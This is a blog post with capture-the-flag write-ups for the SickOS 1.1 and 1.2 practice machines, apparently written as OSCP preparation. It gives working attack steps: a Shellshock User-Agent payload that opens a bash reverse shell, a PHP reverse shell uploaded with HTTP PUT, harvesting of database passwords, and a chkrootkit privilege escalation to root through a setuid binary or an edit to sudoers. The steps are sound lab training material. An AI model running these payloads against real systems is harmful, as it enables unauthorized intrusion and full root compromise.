tuonilabs
Cyber security write-ups, exploits, and more

SickOS Write-Up

What follows is a write-up of two vulnerable machines, SickOS 1.1 and SickOS 1.2.

SickOS was inspired by the OSCP labs.

The goal is simple: compromise the system and get root.

[*] STATUS: COMPLETED

SickOS 1.1 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy

Time to do some research.
”’

2) Start Metasploit -> search squid
3) use auxiliary/scanner/http/squid_pivot_scanning -> show options
4) set RANGE 192.168.189.208 -> set RHOSTS 192.168.189.208 -> set RPORT 3128
5) exploit
# We can navigate to port 80 under a proxy using port 3128

Checking for vulnerabilities; the shellshock vulnerability might be our way in

+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the ‘shellshock’ vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
”’

7) Open Burp Proxy with Intercept On
8) In Burp: User options -> Upstream Proxy Servers
Destination host: 192.168.189.208
Proxy host: 192.168.189.208
Proxy port: 3128

9) Browse to: 192.168.189.208/cgi-bin/status
10) Modify User-Agent with: () { :;}; /bin/bash -i >& /dev/tcp/192.168.189.130/443 0>&1
# Wait a bit, it takes a while

11) cd /var/www
12) file wolfcms -> cd wolfcms -> ls -> cat config.php
”’
Notice the MySQL credentials:
define(‘DB_DSN’, ‘mysql:dbname=wolf;host=localhost;port=3306’);
define(‘DB_USER’, ‘root’);
define(‘DB_PASS’, ‘john@123’);
define(‘TABLE_PREFIX’, ”);
”’

13) su sickos
# We get an error: su: must be run from a terminal

14) echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/asdf.py
15) python /tmp/asdf.py
16) su sickos -> password: john@123
17) sudo -s -> password: john@123
18) cd /root

Flag: a0216ea4d51874464078c618298b1367
End-Notes:

Initially I had logged into the wolf cms service with admin:admin, however, it was taking too long to load pages, so I decided to go another way. That might be another method to compromise the system.

SickOS 1.2 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28

Time to get to work.
”’

2) nikto -h 192.168.189.218
3) wfuzz –hc 404 -c -z file,/usr/share/wfuzz/wordlist/general/big.txt http://192.168.189.218/FUZZ
# “test” and “~” return results

4) Browse to: http://192.168.189.218/test/
5) Start Burp Proxy with Intercept On
6) Refresh the page -> Change the GET request to OPTIONS -> Right-click -> Do Intercept -> Response to this request
# Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

7) Search for: php reverse shell code
8) wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-

9) gedit php-reverse-shell.php
# Adjust IP and port accordingly

10) nc -nlvp 443
11) curl –upload-file php-reverse-shell.php -v -url
http://192.168.189.218/test/php-reverse-shell.php -0 –http1.0

12) Refresh the page and click on the file we just uploaded
13) ps aux | grep root
# Checking which services are running as root
14) ls -al /etc/cron*
# Checking which jobs are scheduled

15) Search for: chkrootkit vulnerability
16) Read: https://www.exploit-db.com/exploits/33899/
”’
Steps to reproduce:

– Put an executable file named ‘update’ with non-root owner in /tmp (not mounted noexec, obviously)
– Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively rooting your box, if malicious content is placed inside the file.
”’

17) python -c ‘import pty ; pty.spawn(“/bin/bash”)’
# Getting a proper shell

Method A: To get root (slow)
18) echo ‘chmod 777 /etc/sudoers && echo “www-data ALL=NOPASSWD: ALL” >> /etc/sudoers && chmod 440 /etc/sudoers’ > /tmp/update
# Giving ourselves sudo power
# In theory this should work, but it was taking too long, so I went with Method B
Method B: To get root (fast)

```
int main(void)
{
setgid(0);
setuid(0);
execl("/bin/sh", "sh", 0);
}
EOF

20) gcc -o root root.c
# Now we have to make 'update' interact with this executable

21) cat << EOF > update
#!/bin/bash
chown root /tmp/root
chgrp root /tmp/root
chmod u+s /tmp/root
EOF

22) chmod +x update
23) ls -al
# We're ready to go
24) ./root
25) whoami
# We got root
26) cd /root
27) ls
28) cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
```

Flag: 7d03aaa2bf93d80040f3f22ec6ad9d5a
End-Notes:
Very cool box. Note that for the chkrootkit exploit you could have also used Metasploit.

This was the last box I had as training for the OSCP labs. I first completed Kioptrix (1-5), then Tr0ll (1-2), and finally the two sickOS boxes. I'm signing up for the

Share this:

Twitter Facebook Google

Like

Be the first to like this.

tuonilabs / February 7, 2017 / Capture the Flag, Exploits / burp proxy, burp suite, Exploits, hack, hacking, information security, infosec, internet, linux, linux security, metasploit, mysql vulnerability, network security, nikto, nmap, oscp labs, oscp preparation, php, php reverse shellcode, reverse shell, shellshock exploit, shellshock vulnerability, sickos, sql injection, sql vulnerability, sqli, technology, vulnerabilities, vulnerability, vulnerable applications, vulnerable machines, web app hacking, web app security, web application hacking, web application security, Web Exploitation, web hacking, web security, web vulnerabilities, wfuzz, write-ups

2 thoughts on "SickOS Write-Up"

Pingback: Index – tuonilabs

Pingback: OSCP: Preparation for the OSCP & My Experience So Far – tuonilabs

tuonilabs /